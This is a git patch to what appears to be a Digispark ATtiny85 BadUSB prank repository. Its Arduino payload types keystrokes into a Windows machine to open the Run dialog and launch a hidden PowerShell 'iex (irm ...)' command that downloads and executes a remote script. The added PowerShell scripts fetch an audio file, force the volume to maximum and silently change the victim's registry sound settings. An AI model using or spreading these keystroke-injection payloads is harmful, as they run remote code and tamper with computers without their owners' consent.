From 826eddf5eeb519d60827f2733a825233954fb70e Mon Sep 17 00:00:00 2001 From: msr8 Date: Sat, 23 Dec 2023 02:10:36 +0530 Subject: [PATCH] added yamete ps1 files --- Payloads/Script Runner/script_runner_win.ino | 34 +++++++++----------- Shell Scripts/powershell/real_bsod.ps1 | 1 - Shell Scripts/powershell/yamete-1.ps1 | 19 +++++++---- Shell Scripts/powershell/yamete-2.ps1 | 19 +++++++++++ Shell Scripts/powershell/yamete-3.ps1 | 2 ++ 5 files changed, 49 insertions(+), 26 deletions(-) create mode 100755 Shell Scripts/powershell/yamete-2.ps1 create mode 100644 Shell Scripts/powershell/yamete-3.ps1 diff --git a/Payloads/Script Runner/script_runner_win.ino b/Payloads/Script Runner/script_runner_win.ino index d49f7a0..2542ddd 100644 --- a/Payloads/Script Runner/script_runner_win.ino +++ b/Payloads/Script Runner/script_runner_win.ino @@ -1,28 +1,26 @@ #include "DigiKeyboard.h" void setup() { - // empty + // empty } void loop() { - // Initialise digispark - DigiKeyboard.sendKeyStroke(0); - DigiKeyboard.delay(600); + // Initialise digispark + DigiKeyboard.sendKeyStroke(0); + DigiKeyboard.delay(600); - // Opens the run dialog - DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); - DigiKeyboard.delay(600); + // Opens the run dialog + DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); + DigiKeyboard.delay(600); - // Writes the command - DigiKeyboard.print("powershell -w h "); - DigiKeyboard.print("iex (irm \""); - DigiKeyboard.print("https://raw.githubusercontent.com/msr8/attiny85/main/Shell%20Scripts/powershell/speak.ps1"); // LINK HERE - DigiKeyboard.print("\")"); - // Enters it - DigiKeyboard.sendKeyStroke(KEY_ENTER); + // Writes the command + DigiKeyboard.print("powershell -w h "); + DigiKeyboard.print("iex (irm \""); + DigiKeyboard.print("https://raw.githubusercontent.com/msr8/attiny85/main/Shell%20Scripts/powershell/speak.ps1"); // LINK HERE + DigiKeyboard.print("\")"); + // Enters it + DigiKeyboard.sendKeyStroke(KEY_ENTER); - - for (;;) {/* Stops the loop */} -} - + for (;;) {/* Stops the loop */} +} \ No newline at end of file diff --git a/Shell Scripts/powershell/real_bsod.ps1 b/Shell Scripts/powershell/real_bsod.ps1 index bb99c22..2dcdd8b 100755 --- a/Shell Scripts/powershell/real_bsod.ps1 +++ b/Shell Scripts/powershell/real_bsod.ps1 @@ -1,4 +1,3 @@ - $source = @" using System; using System.Runtime.InteropServices; diff --git a/Shell Scripts/powershell/yamete-1.ps1 b/Shell Scripts/powershell/yamete-1.ps1 index a50460e..244af3f 100644 --- a/Shell Scripts/powershell/yamete-1.ps1 +++ b/Shell Scripts/powershell/yamete-1.ps1 @@ -1,13 +1,18 @@ $URL = "https://raw.githubusercontent.com/msr8/attiny85/main/Assets/yamete-kudasai.wav" $FP = "$env:TEMP\15791817.wav" -# Check if the file does not exist -if ( -not (Test-Path $FP) ) { - # if it doesnt exist, download the audio file and save it in the temporary directory - # https://stackoverflow.com/a/51225744/17002774 - Invoke-WebRequest -Uri $URL -OutFile $FP -} +# Download the audio file and save it in the temporary directory +# https://stackoverflow.com/a/51225744/17002774 +Invoke-WebRequest $URL -OutFile $FP + +# Change volume to full +$wshShell = New-Object -ComObject WScript.Shell +1..50 | ForEach-Object { $wshShell.SendKeys([char]175) } # Play the audio file # https://stackoverflow.com/a/73538809/17002774 -(New-Object System.Media.SoundPlayer($FP)).PlaySync() \ No newline at end of file +(New-Object System.Media.SoundPlayer($FP)).PlaySync() + +# Delete the audio file +# (https://www.easeus.com/computer-instruction/delete-file-powershell.html) +Remove-Item -Path $FP \ No newline at end of file diff --git a/Shell Scripts/powershell/yamete-2.ps1 b/Shell Scripts/powershell/yamete-2.ps1 new file mode 100755 index 0000000..3302048 --- /dev/null +++ b/Shell Scripts/powershell/yamete-2.ps1 @@ -0,0 +1,19 @@ +$URL = "https://raw.githubusercontent.com/msr8/attiny85/main/Assets/yamete-kudasai.wav" +$FP = "$env:TEMP\15791817.wav" +# Uncomment the below line to "fix" the sound +# $FP = "C:\Windows\Media\Windows Hardware Insert.wav" + +# Check if the file does not exist +if ( -not (Test-Path $FP) ) { + # If it doesnt exist, download the audio file and save it in the temporary directory + # https://stackoverflow.com/a/51225744/17002774 + Invoke-WebRequest $URL -OutFile $FP +} + +Set-ItemProperty -Value $FP -Path "HKCU:\AppEvents\Schemes\Apps\.Default\DeviceConnect\.Current" -Name "(Default)" + +# https://www.dmcinfo.com/latest-thinking/blog/id/9338/automatically-change-windows-system-sounds +# https://stackoverflow.com/questions/66824212/change-default-windows-sound-with-powershell +# https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-itemproperty?view=powershell-7.4 + + diff --git a/Shell Scripts/powershell/yamete-3.ps1 b/Shell Scripts/powershell/yamete-3.ps1 new file mode 100644 index 0000000..21924c0 --- /dev/null +++ b/Shell Scripts/powershell/yamete-3.ps1 @@ -0,0 +1,2 @@ +# https://superuser.com/a/1033518 +# https://stackoverflow.com/a/21130366/17002774 \ No newline at end of file